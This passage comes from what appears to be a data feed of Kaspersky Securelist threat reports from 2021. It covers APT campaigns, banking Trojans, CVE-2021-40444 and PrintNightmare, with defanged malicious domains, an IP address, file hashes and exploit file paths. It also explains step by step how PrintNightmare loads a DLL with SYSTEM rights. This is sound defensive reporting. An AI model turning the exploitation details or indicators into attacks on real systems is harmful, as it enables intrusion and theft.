applications.\n\nWe [have seen targeted attacks](<https://securelist.com/exploitation-of-the-cve-2021-40444-vulnerability-in-mshtml/104218/>) exploiting the vulnerability to target companies in research and development, the energy sector and other major industries, banking, the medical technology sector, as well as telecoms and IT.\n\nTo exploit the vulnerability, attackers embed a special object in a Microsoft Office document containing a URL for a malicious script. If the victim opens the document, Microsoft Office downloads the script and runs it using the MSHTML engine. Then the script can use ActiveX controls to perform malicious actions on the victim's computer.\n\n### Tomiris backdoor linked to SolarWinds attack\n\nThe SolarWinds incident last December stood out because of the extreme carefulness of the attackers and the high-profile nature of their victims. The evidence suggests that the threat actor behind the attack, DarkHalo (aka Nobelium), had spent six months inside OrionIT's networks to perfect their attack. The following timeline sums up the different steps of the campaign.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/27145035/SAS_story_Tomiris_connection_01.png>)\n\nIn June, more than six months after DarkHalo had gone dark, we observed the DNS hijacking of multiple government zones of a CIS member state that allowed the attacker to redirect traffic from government mail servers to computers under their control \u2013 probably achieved by obtaining credentials to the control panel of the victims' registrar. When victims tried to access their corporate mail, they were redirected to a fake copy of the web interface.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/27145115/SAS_story_Tomiris_connection_02.png>)\n\nAfter this, they were tricked into downloading previously unknown malware. The backdoor, dubbed Tomiris, bears a number of similarities to the second-stage malware, Sunshuttle (aka GoldMax), used by DarkHalo last year. However, there are also a number of overlaps between Tomiris and Kazuar, a backdoor that has been linked to the Turla APT threat actor. None of the similarities is enough to link Tomiris and Sunshuttle with sufficient confidence. However, taken together they suggest the possibility of common authorship or shared development practices.\n\nYou can read our analysis [here](<https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/>).\n\n### GhostEmperor\n\nEarlier this year, while investigating the rise of attacks against Exchange servers, we noticed a recurring cluster of activity that appeared in several distinct compromised networks. We attribute the activity to a previously unknown threat actor that we have called [GhostEmperor](<https://securelist.com/ghostemperor-from-proxylogon-to-kernel-mode/104407/>). This cluster stood out because it used a formerly unknown Windows kernel mode rootkit that we dubbed Demodex; and a sophisticated multi-stage malware framework aimed at providing remote control over the attacked servers.\n\nThe rootkit is used to hide the user mode malware's artefacts from investigators and security solutions, while demonstrating an interesting loading scheme involving the kernel mode component of an open-source project named Cheat Engine to bypass the Windows Driver Signature Enforcement mechanism.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/29150203/Ghost_Emperor_06.png>)\n\nWe identified multiple attack vectors that triggered an infection chain leading to the execution of the malware in memory. The majority of GhostEmperor infections were deployed on public-facing servers, as many of the malicious artefacts were installed by the httpd.exe Apache server process, the w3wp.exe IIS Windows server process, or the oc4j.jar Oracle server process. This means that the attackers probably abused vulnerabilities in the web applications running on those systems, allowing them to drop and execute their files.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/29150042/Ghost_Emperor_04.png>)\n\nAlthough infections often start with a BAT file, in some cases the known infection chain was preceded by an earlier stage: a malicious DLL that was side-loaded by wdichost.exe, a legitimate Microsoft command line utility (originally called MpCmdRun.exe). The side-loaded DLL then proceeds to decode and load an additional executable called license.rtf. Unfortunately, we did not manage to retrieve this executable, but we saw that the consecutive actions of loading it included the creation and execution of GhostEmperor scripts by wdichost.exe.\n\nThis toolset was in use from as early as July 2020, mainly targeting Southeast Asian entities, including government agencies and telecoms companies.\n\n### FinSpy: analysis of current capabilities\n\nAt the end of September, at the Kaspersky [Security Analyst Summit](<https://thesascon.com/>), our researchers provided an [overview of FinSpy](<https://securelist.com/finspy-unseen-findings/104322/>), an infamous surveillance toolset that several NGOs have repeatedly reported being used against journalists, political dissidents and human rights activists. Our analysis included not only the Windows version of FinSpy, but also Linux and macOS versions, which share the same internal structure and features.\n\nAfter 2018, we observed falling detection rates for FinSpy for Windows. However, it never actually went away \u2013 it was simply using various first-stage implants to hide its activities. We started detecting some suspicious backdoored installer packages (including TeamViewer, VLC Media Player and WinRAR); then in the middle of 2019 we found a host that served these installers along with FinSpy Mobile implants for Android.\n\nThe authors have gone to great lengths to make FinSpy inaccessible to security researchers \u2013 it seems they have put as much work into anti-analysis and obfuscation as they have into the Trojan itself. First, the samples are protected with multiple layers of evasion tactics.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/24151828/SAS_story_FinFisher_02.png>)\n\nMoreover, once the Trojan has been installed, it is heavily camouflaged using four complex, custom-made obfuscators.\n\nApart from Trojanized installers, we also observed infections involving use of a UEFI (Unified Extensible Firmware Interface) and MBR (Master Boot Record) bootkit. While the MBR infection has been known since at least 2014, details on the UEFI bootkit were publicly revealed for the first time in our private report on FinSpy.\n\nThe user of a smartphone or tablet can be infected through a link in a text message. In some cases (for example, if the victim's iPhone has not been not [jailbroken](<https://encyclopedia.kaspersky.com/glossary/jailbreak/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>)), the attacker may need physical access to the device.\n\n## Other malware\n\n### REvil attack on MSPs and their customers worldwide\n\nAn attack perpetrated by the REvil Ransomware-as-a-Service gang (aka Sodinokibi) targeting Managed Service Providers (MSPs) and their clients was discovered on July 2.\n\nThe attackers [identified and exploited](<https://threatpost.com/kaseya-patches-zero-day-exploits/167548/>) a zero-day vulnerability in the Kaseya Virtual System/Server Administrator (VSA) platform. The VSA software, used by Kaseya customers to remotely monitor and manage software and network infrastructure, is supplied either as a cloud service or via on-premises VSA servers.\n\nThe exploit involved deploying a malicious dropper via a PowerShell script. The script disabled Microsoft Defender features and then used the certutil.exe utility to decode a malicious executable (agent.exe) that dropped an older version of Microsoft Defender, along with the REvil ransomware packed into a malicious library. That library was then loaded by the legitimate MsMpEng.exe by utilizing the DLL side-loading technique.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/05113533/02-revil-attacks-msp.png>)\n\nThe attack is estimated to have resulted in the encryption of files belonging to around 60 Kaseya customers using the on-premises version of the platform. Many of them were MSPs who use VSA to manage the networks of other businesses. This MSP connection gave REvil access to those businesses, and Kaseya estimated that [around 1,500 downstream businesses were affected](<https://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689-Important-Notice-July-2nd-2021>).\n\nUsing our Threat Intelligence service, we observed more than 5,000 attack attempts in 22 countries by the time [our analysis of the attack](<https://securelist.com/revil-ransomware-attack-on-msp-companies/103075/>) was published.\n\n### What a [Print]Nightmare\n\nEarly in July, Microsoft published an alert about vulnerabilities in the Windows Print Spooler service. The vulnerabilities, [CVE-2021-1675](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675>) and [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34527>) (aka PrintNightmare), can be used by an attacker with a regular user account to take control of a vulnerable server or client machine that runs the Windows Print Spooler service. This service is enabled by default on all Windows clients and servers, including domain controllers, making both vulnerabilities potentially very dangerous.\n\nMoreover, owing to a misunderstanding between teams of researchers, a [proof-of-concept](<https://encyclopedia.kaspersky.com/glossary/poc-proof-of-concept/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) (PoC) exploit for PrintNightmare was [published](<https://therecord.media/poc-released-for-dangerous-windows-printnightmare-bug/>) online. The researchers involved believed that Microsoft's Patch Tuesday release in June had already solved the problem, so they shared their work with the expert community. However, while Microsoft had published a patch for CVE-2021-1675, the PrintNightmare vulnerability remained unpatched until July. The PoC was quickly removed, but not before it had been copied multiple times.\n\nCVE-2021-1675 is a [privilege elevation](<https://encyclopedia.kaspersky.com/glossary/privilege-escalation/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) vulnerability, allowing an attacker with low access privileges to craft and use a malicious DLL file to run an exploit and gain higher privileges. However, that is only possible if the attacker already has direct access to the vulnerable computer in question.\n\nCVE-2021-34527 is significantly more dangerous because it is a [remote code execution](<https://encyclopedia.kaspersky.com/glossary/remote-code-execution-rce/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) (RCE) vulnerability, which means it allows remote injection of DLLs.\n\nYou can find a more detailed technical description of both vulnerabilities [here](<https://securelist.com/quick-look-at-cve-2021-1675-cve-2021-34527-aka-printnightmare/103123/>).\n\n### Grandoreiro and Melcoz arrests\n\nIn July, the Spanish Ministry of the Interior [announced](<http://www.interior.gob.es/prensa/noticias/-/asset_publisher/GHU8Ap6ztgsg/content/id/13552853>) the arrest of 16 people connected to the [Grandoreiro and Melcoz (aka Mekotio) cybercrime groups](<https://securelist.com/arrests-of-members-of-tetrade-seed-groups-grandoreiro-and-melcoz/103366/>). Both groups are originally from Brazil and form part of the [Tetrade umbrella](<https://securelist.com/the-tetrade-brazilian-banking-malware/97779/>), operating for a few years now in Latin America and Western Europe.\n\nThe Grandoreiro banking Trojan malware family initially started its operations in Brazil and then expanded its operations to other Latin American countries and then to Western Europe. The group has regularly improved its techniques; and, based on our analysis of the group's campaigns, it operates as a [malware-as-a-service (MaaS)](<https://encyclopedia.kaspersky.com/glossary/malware-as-a-service-maas/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) project. Our telemetry shows that, since January 2020, Grandoreiro has mainly attacked victims in Brazil, Mexico, Spain, Portugal and Turkey.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/14175031/tetrade_arrest_01.png>)\n\nMelcoz had been active in Brazil since at least 2018, before expanding overseas. We observed the group attacking assets in Chile in 2018 and, more recently, in Mexico: it's likely that there are victims in other countries too, as some of the targeted banks have international operations. As a rule, the malware uses AutoIt or VBS scripts, added into MSI files, which run malicious DLLs using the DLL-Hijack technique, aiming to bypass security solutions. The malware steals passwords from browsers and from the device's memory, providing remote access to capture internet banking access. It also includes a Bitcoin wallet stealing module. Our telemetry confirms that, since January 2020, Melcoz has been actively targeting Brazil, Chile and Spain, among other countries.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/14175038/tetrade_arrest_02.png>)\n\nSince both malware families are from Brazil, the individuals arrested in Spain are just operators. So, it's likely that the creators of Grandoreiro and Melcoz will continue to develop new malware techniques and recruit new members in their countries of interest.\n\n### Gamers beware\n\nEarlier this year, we discovered an ad in an underground forum for a piece of malware dubbed BloodyStealer by its creators. The malware is designed to steal passwords, cookies, bank card details, browser auto-fill data, device information, screenshots, desktop and client uTorrent files, Bethesda, Epic Games, GOG, Origin, Steam, Telegram, and VimeWorld client sessions and logs.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/16141037/bloodystealer-and-gaming-accounts-in-darknet-screen-1.png>)\n\n**_The BloodyStealer ad (Source: [https://twitter.com/3xp0rtblog](<https://twitter.com/3xp0rtblog/status/1380087553676697617>))_**\n\nThe authors of the malware, which has hit users in Europe, Latin America and the Asia-Pacific region, have adopted a MaaS distribution model, meaning that anyone can buy it for the modest price of around $10 per month (roughly $40 for a "lifetime license").\n\nOn top of its theft functions, the malware includes tools to thwart analysis. It sends stolen information as a ZIP archive to the C2 (command-and-control) server, which is protected against DDoS (distributed denial of service) attacks. The cybercriminals use either the (quite basic) control panel or Telegram to obtain the data, including gamer accounts.\n\nBloodyStealer is just one of many tools available on the dark web for stealing gamer accounts. Moreover, underground forums often feature ads offering to post a malicious link on a popular website or selling tools to generate phishing pages automatically. Using these tools, cybercriminals can collect, and then try to monetize, a huge amount of credentials. All kinds of offers related to gamer accounts can be found on the dark web.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/16141127/bloodystealer-and-gaming-accounts-in-darknet-screen-2.png>)\n\nSo-called logs are among the most popular. These are databases containing reams of data for logging into accounts. In their ads, attackers can specify the types of data, the geography of users, the period over which the logs were collected and other details. For example, in the screenshot below, an underground forum member offers an archive with 65,600 records, of which 9,000 are linked to users from the US, and 5,000 to residents of India, Turkey and Canada. The entire archive costs $150 (that's about 0.2 cents per record).\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/16141203/bloodystealer-and-gaming-accounts-in-darknet-screen-3.png>)\n\nCybercriminals can also use compromised gaming accounts to launder money, distribute phishing links and conduct other illegal business.\n\nYou can read more about gaming threats, including BloodyStealer, [here](<https://securelist.com/game-related-cyberthreats/103675/>) and [here](<https://securelist.com/bloodystealer-and-gaming-assets-for-sale/104319/>).\n\n### Triada Trojan in WhatsApp mod\n\nNot everyone is happy with the official WhatsApp app, turning instead to modified WhatsApp clients for features that the WhatsApp developers haven't yet implemented in the official version. The creators of these mods often embed ads in them. However, their use of third-party ad modules can provide a mechanism for malicious code to be slipped into the app unnoticed.\n\nThis happened recently with FMWhatsApp, a popular WhatsApp mod. In version 16.80.0 the developers used a third-party ad module that includes the Triada Trojan (detected by Kaspersky's mobile antivirus as Trojan.AndroidOS.Triada.ef). This Trojan performs an intermediary function. First, it collects data about the user's device, and then, depending on the information, it downloads one of several other Trojans. You can find a description of the functions that these other Trojans perform in [our analysis of the infected FMWhatsApp mod](<https://securelist.com/triada-trojan-in-whatsapp-mod/103679/>).\n\n### Qakbot banking Trojan\n\nQakBot (aka QBot, QuackBot and Pinkslipbot) is a banking Trojan that was first discovered in 2007, and has been continually maintained and developed since then. It is now one of the leading banking Trojans around the globe. Its main purpose is to steal banking credentials (e.g., logins, passwords, etc.), but it has also acquired functionality allowing it to spy on financial operations, spread itself and install ransomware in order to maximize revenue from compromised organizations.\n\nThe Trojan also includes the ability to log keystrokes, backdoor functionality, and techniques to evade detection. The latter includes virtual environment detection, regular self-updates and cryptor/packer changes. QakBot also tries to protect itself from being analyzed and debugged by experts and automated tools. Another interesting piece of functionality is the ability to steal emails: these are later used by the attackers to send targeted emails to the victims, with the information obtained used to lure victims into opening those emails.\n\nQakBot is known to infect its victims mainly via spam campaigns. In some cases, the emails are delivered with Microsoft Office documents or password-protected archives with documents attached. The documents contain macros and victims are prompted to open the attachments with claims that they contain important information (e.g., an invoice). In some cases, the emails contain links to web pages distributing malicious documents.\n\nHowever, there is another infection vector that involves a malicious QakBot payload being transferred to the victim's machine via other malware on the compromised machine. The initial infection vectors may vary depending on what the threat actors believe has the best chance of success for the targeted organization(s). It's known that various threat actors perform reconnaissance of target organizations beforehand to decide which infection vector is most suitable.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/01145837/Qakbot_technical_analysis_01.png>)\n\nWe analyzed statistics on QakBot attacks collected from our Kaspersky Security Network (KSN), where anonymized data voluntarily provided by Kaspersky users is accumulated and processed. In the first seven months of 2021 our products detected 181,869 attempts to download or run QakBot. This number is lower than the detection number from January to July 2020, though the number of users affected grew by 65% \u2013 from 10,493 in the previous year to 17,316 this year.\n\n_Number of users affected by QakBot attacks from January to July in 2020 and 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/01155141/01-en-qakbot.png>))_\n\nYou can read our full analysis [here](<https://securelist.com/qakbot-technical-analysis/103931/>).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-26T12:00:36", "type": "securelist", "title": "IT threat evolution Q3 2021", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527", "CVE-2021-40444"], "modified": "2021-11-26T12:00:36", "id": "SECURELIST:86368EF0EA7DAA3D2AB20E0597A62656", "href": "https://securelist.com/it-threat-evolution-q3-2021/104876/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-09-25T08:35:29", "description": "\n\n## Summary\n\nLast week, Microsoft reported the remote code execution vulnerability CVE-2021-40444 in the MSHTML browser engine. According to the company, this vulnerability has already been used in targeted attacks against Microsoft Office users. In attempt to exploit this vulnerability, attackers create a document with a specially-crafted object. If a user opens the document, MS Office will download and execute a malicious script. \nAccording to our data, the same attacks are still happening all over the world. We are currently seeing attempts to exploit the CVE-2021-40444 vulnerability targeting companies in the research and development sector, the energy sector and large industrial sectors, banking and medical technology development sectors, as well as telecommunications and the IT sector. Due to its ease of exploitation and the few published [Proof-of-Concept](<https://encyclopedia.kaspersky.com/glossary/poc-proof-of-concept/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) (PoC), we expect to see an increase in attacks using this vulnerability.\n\n_Geography of CVE-2021-40444 exploitation attempts_\n\nKaspersky is aware of targeted attacks using CVE-2021-40444, and our products protect against attacks leveraging the vulnerability. Possible detection names are:\n\n * HEUR:Exploit.MSOffice.CVE-2021-40444.a\n * HEUR:Trojan.MSOffice.Agent.gen\n * PDM:Exploit.Win32.Generic\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/16133928/02-cve-2021-40444-kedr.png>) \n_Killchain generated by KEDR during execution of CVE-2021-40444 Proof-of-Concept _\n\nExperts at Kaspersky are monitoring the situation closely and improving mechanisms to detect this vulnerability using [Behavior Detection](<https://www.kaspersky.com/enterprise-security/wiki-section/products/behavior-based-protection>) and [Exploit Prevention](<https://www.kaspersky.com/enterprise-security/wiki-section/products/exploit-prevention>) components. Within our [Managed Detection and Response](<https://www.kaspersky.com/enterprise-security/managed-detection-and-response>) service, our SOC experts are able to detect when this vulnerability is expoited, investigate such attacks and notify customers.\n\n## Technical details\n\nThe remote code execution vulnerability CVE-2021-40444 was found in MSHTML, the Internet Explorer browser engine which is a component of modern Windows systems, both user and server. Moreover, the engine is often used by other programs to work with web content (e.g. MS Word or MS PowerPoint). \nIn order to exploit the vulnerability, attackers embed a special object in a Microsoft Office document containing an URL for a malicious script. If a victim opens the document, Microsoft Office will download the malicious script from the URL and run it using the MSHTML engine. Then the script can use ActiveX controls to perform malicious actions on the victim's computer. For example, the original zero-day exploit which was used in targeted attacks at the time of detection used ActiveX controls to download and execute a Cobalt Strike payload. We are currently seeing various types of malware, mostly backdoors, which are delivered by exploiting the CVE-2021-40444 vulnerability.\n\n## Mitigations\n\n * Follow [Microsoft security update guidelines.](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>)\n * Use the latest [Threat Intelligence information](<https://www.kaspersky.com/enterprise-security/threat-intelligence>) to keep up to date with TTPs used by threat actors.\n * Businesses should use a security solution that provides vulnerability, patch management and exploit prevention components, such as the [Automatic Exploit Prevention](<https://www.kaspersky.com/enterprise-security/wiki-section/products/exploit-prevention>) component in Kaspersky Endpoint Security for Business. The component monitors suspicious actions in applications and blocks malicious file execution.\n * Use solutions like [Kaspersky Endpoint Detection and Response](<https://www.kaspersky.com/enterprise-security/endpoint-detection-response-edr>) and [Kaspersky Managed Detection and Response](<https://www.kaspersky.com/enterprise-security/managed-detection-and-response>) service, which help identify and stop an attack at an early stage before the attackers achieve their final goal.\n\n## IoC\n\n**MD5** \n[ef32824c7388a848c263deb4c360fd64](<https://opentip.kaspersky.com/ef32824c7388a848c263deb4c360fd64/?utm_source=SL&utm_medium=SL&utm_campaign=SL>) \n[e58b75e1f588508de7c15a35e2553b86](<https://opentip.kaspersky.com/e58b75e1f588508de7c15a35e2553b86/?utm_source=SL&utm_medium=SL&utm_campaign=SL>) \n[e89dbc1097cfb8591430ff93d9952260](<https://opentip.kaspersky.com/e89dbc1097cfb8591430ff93d9952260/?utm_source=SL&utm_medium=SL&utm_campaign=SL>)\n\n**URL** \n[hidusi[.]com](<https://opentip.kaspersky.com/hidusi.com/?utm_source=SL&utm_medium=SL&utm_campaign=SL>) \n[103.231.14[.]134](<https://opentip.kaspersky.com/103.231.14.134/?utm_source=SL&utm_medium=SL&utm_campaign=SL>)", "cvss3": {}, "published": "2021-09-16T15:30:57", "type": "securelist", "title": "Exploitation of the CVE-2021-40444 vulnerability in MSHTML", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-16T15:30:57", "id": "SECURELIST:63306FA6D056BD9A04969409AC790D84", "href": "https://securelist.com/exploitation-of-the-cve-2021-40444-vulnerability-in-mshtml/104218/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-07-28T14:33:23", "description": "\n\n## Summary\n\nLast week Microsoft warned Windows users about vulnerabilities in the Windows Print Spooler service \u2013 CVE-2021-1675 and CVE-2021-34527 (also known as PrintNightmare). Both vulnerabilities can be used by an attacker with a regular user account to take control of a vulnerable server or client machine that runs the Windows Print Spooler service. This service is enabled by default on all Windows clients and servers, including domain controllers.\n\nKaspersky products protect against attacks leveraging these vulnerabilities. The following detection names are used:\n\n * HEUR:Exploit.Win32.CVE-2021-1675.*\n * HEUR:Exploit.Win32.CVE-2021-34527.*\n * HEUR:Exploit.MSIL.CVE-2021-34527.*\n * HEUR:Exploit.Script.CVE-2021-34527.*\n * HEUR:Trojan-Dropper.Win32.Pegazus.gen\n * PDM:Exploit.Win32.Generic\n * PDM:Trojan.Win32.Generic\n * Exploit.Win32.CVE-2021-1675.*\n * Exploit.Win64.CVE-2021-1675.*\n\nOur detection logic is also successfully blocks attack technique from the latest Mimikatz framework v. 2.2.0-20210707.\n\nWe are closely monitoring the situation and improving generic detection of these vulnerabilities using our [Behavior Detection](<https://www.kaspersky.com/enterprise-security/wiki-section/products/behavior-based-protection>) and Exploit Prevention components. As part of our [Managed Detection and Response service](<https://www.kaspersky.com/enterprise-security/managed-detection-and-response>) Kaspersky SOC experts are able to detect exploitation of these vulnerabilities, investigate such attacks and report to customers.\n\n## Technical details\n\n### CVE-2021-34527\n\nWhen using RPC protocols to add a new printer (_RpcAsyncAddPrinterDriver [MS-PAR] or RpcAddPrinterDriverEx [MS-RPRN]_) a client has to provide multiple parameters to the Print Spooler service:\n\n * _pDataFile_ - a path to a data file for this printer;\n * _pConfigFile_ - a path to a configuration file for this printer;\n * _pDriverPath_ - a path to a driver file that's used by this printer while it's working.\n\nThe service makes several checks to ensure _pDataFile_ and _pDriverPath_ are not UNC paths, but there is no corresponding check for pConfigFile, meaning the service will copy the configuration DLL to the folder _%SYSTEMROOT%\\system32\\spool\\drivers\\x64\\3\\_ (on x64 versions of the OS).\n\nNow, if the Windows Print Spooler service tries to add a printer again, but this time sets pDataFile to the copied DLL path (from the previous step), the print service will load this DLL because its path is not a UNC path, and the check will be successfully passed. These methods can be used by a low-privileged account, and the DLL is loaded by the _NT AUTHORITY\\SYSTEM group_ process.\n\n### CVE-2021-1675\n\nThe local version of PrintNightmare uses the same method for exploitation as CVE-2021-34527, but there's a difference in the entrypoint function (_AddPrinterDriverEx_). This means an attacker can place a malicious DLL in any locally accessible directory to run the exploit.\n\n## Mitigations\n\nKaspersky experts anticipate a growing number of exploitation attempts to gain access to resources inside corporate perimeters accompanied by a high risk of ransomware infection and data theft.\n\nTherefore, it is strongly recommended to follow Microsoft [guidelines](<https://docs.microsoft.com/en-us/defender-for-identity/cas-isp-print-spooler>) and apply the latest security updates for Windows.\n\nQuoting Microsoft (as of July 7th, 2021): \n_"Due to the possibility for exposure, domain controllers and Active Directory admin systems need to have the Print spooler service disabled. The recommended way to do this is using a Group Policy Object (GPO). \nWhile this security assessment focuses on domain controllers, any server is potentially at risk to this type of attack."_", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-08T05:00:06", "type": "securelist", "title": "Quick look at CVE-2021-1675 & CVE-2021-34527 (aka PrintNightmare)", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-08T05:00:06", "id": "SECURELIST:0C07A61E6D92865F5B58728A60866991", "href": "https://securelist.com/quick-look-at-cve-2021-1675-cve-2021-34527-aka-printnightmare/103123/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-12-15T10:54:49", "description": "\n\n_Kaspersky Managed Detection and Response (MDR) provides advanced protection against the growing number of threats that bypass automatic security barriers. Its capabilities are backed by a high-professional team of security analysts operating all over the world. Each suspicious security event is validated by our analysts complementing the automatic detection logic and letting us continuously improve the detection rules._\n\n_The MDR results allow us to map out the modern threat landscape and show techniques used by attackers right now. We share these results with you so that you are more informed about in-the-wild attacks and better prepared to respond._\n\n## PrintNightmare vulnerability exploitation\n\nThis summer, we witnessed a series of attacks using a dangerous vulnerability in the Windows Print Spooler service: **CVE-2021-1675/CVE-2021-34527**, also known as [PrintNightmare](<https://www.kaspersky.com/blog/printnightmare-vulnerability/40520/>). This vulnerability was published in June 2021 and allows attackers to add arbitrary printer drivers in the spooler service and thus remotely execute code on a vulnerable host under System privileges. We have already [published](<https://securelist.com/quick-look-at-cve-2021-1675-cve-2021-34527-aka-printnightmare/103123/>) the technical details of this vulnerability, and today we will talk about how MDR analysts detected and investigated attacks that exploit this vulnerability in real companies.\n\n### Case #1\n\nShortly after the PrintNightmare vulnerability was published, a detailed report with a technical description of the problem, as well as a working PoC exploit, was posted on GitHub by mistake. The repository was disconnected several hours later, but during this time several other users managed to clone it.\n\nKaspersky detected an attempt to exploit the PrintNightmare vulnerability using this publicly available tool. The MDR team observed a request to suspicious _DLL_ libraries from the spooler service. It should be noted, that the file names used by the attacker were exactly the same as those available in the public exploit on GitHub.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14150920/MDR_interesting_cases_02.png>) | Kaspersky detected suspicious DLL libraries (nightmare.dll) on the monitored host. | C:\\Windows\\System32\\spool\\drivers\\x64\\3\\nightmare.dll C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\nightmare.dll \n---|---|--- \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14150937/MDR_interesting_cases_01.png>) | In addition, the following script was found on the host. | \\cve-2021-1675-main-powershell\\cve-2021-1675-main\\cve-2021-1675.ps1 \n \nThe table below contains signs of suspicious activity that served as a starting point for the investigation.\n\n**MITRE ATT&CK Technique** | **MDR telemetry event type used** | **Detection details** | **Description** \n---|---|---|--- \n**T1210:** \nExploitation of \nRemote \nServices | Local File Modification | Modified file path: \nC:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\ \n1\\nightmare.dll \nFile modifier: \nC:\\Windows\\System32\\spoolsv.exe \nParent of the modifier: \nC:\\Windows\\System32\\services.exe | Legitimate spoolsv.exe \nlocally modified \nc:\\windows\\system32 \n\\spool\\drivers\\x64\\ \n3\\old\\1\\nightmare.dll \n**T1588.005:** \nObtain \nCapabilities: \nExploits | AV exact detect in \nOnAccess mode | File: \n\\cve-2021-1675-main-powershell\\cve-2021- \n1675-main\\cve-2021-1675.ps1 \nAV verdicts: \nExploit.Win64.CVE-2021-1675.c; \nUDS:Exploit.Win64.CVE-2021-1675.c | CVE-2021-1675 exploit \nwas detected and \nsuccessfully deleted \nby AM engine \n \n### Case #2\n\nIn another case, MDR analysts discovered a different attack scenario related to the exploitation of the PrintNightmare vulnerability. In particular, _spooler_ service access to suspicious _DLL_ files was observed. In addition, the _spooler_ service executed some unusual commands and established a network connection. Based on the tools used by attackers, we presume that this activity was related to penetration testing.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14150920/MDR_interesting_cases_02.png>) | MDR analyst detected the creation of suspicious _DLL_ libraries using the _certutil.exe_ tool on a monitored host. \nAfter that, the _spooler_ service was added to the planned tasks. | C:\\Windows\\System32\\spool\\driver \ns\\x64\\3\\new\\hello.dll \nC:\\Windows\\System32\\spool\\driver \ns\\x64\\3\\new\\unidrv.dll\u2026 \n---|---|--- \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14151142/MDR_interesting_cases_03.png>) | Next, the spooler service called the newly created _DLL_ files. \nIn addition, the attacker ran some of the created libraries using the rundll32 component. | \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14151347/MDR_interesting_cases_04.png>) | Several hours later, a new wave of activity began. The Kaspersky MDR team detected a registry key modification that forces NTLMv1 authentication. It potentially allows [NTLM hashes](<https://book.hacktricks.xyz/windows/ntlm#basic-ntlm-domain-authentication-scheme>) to be 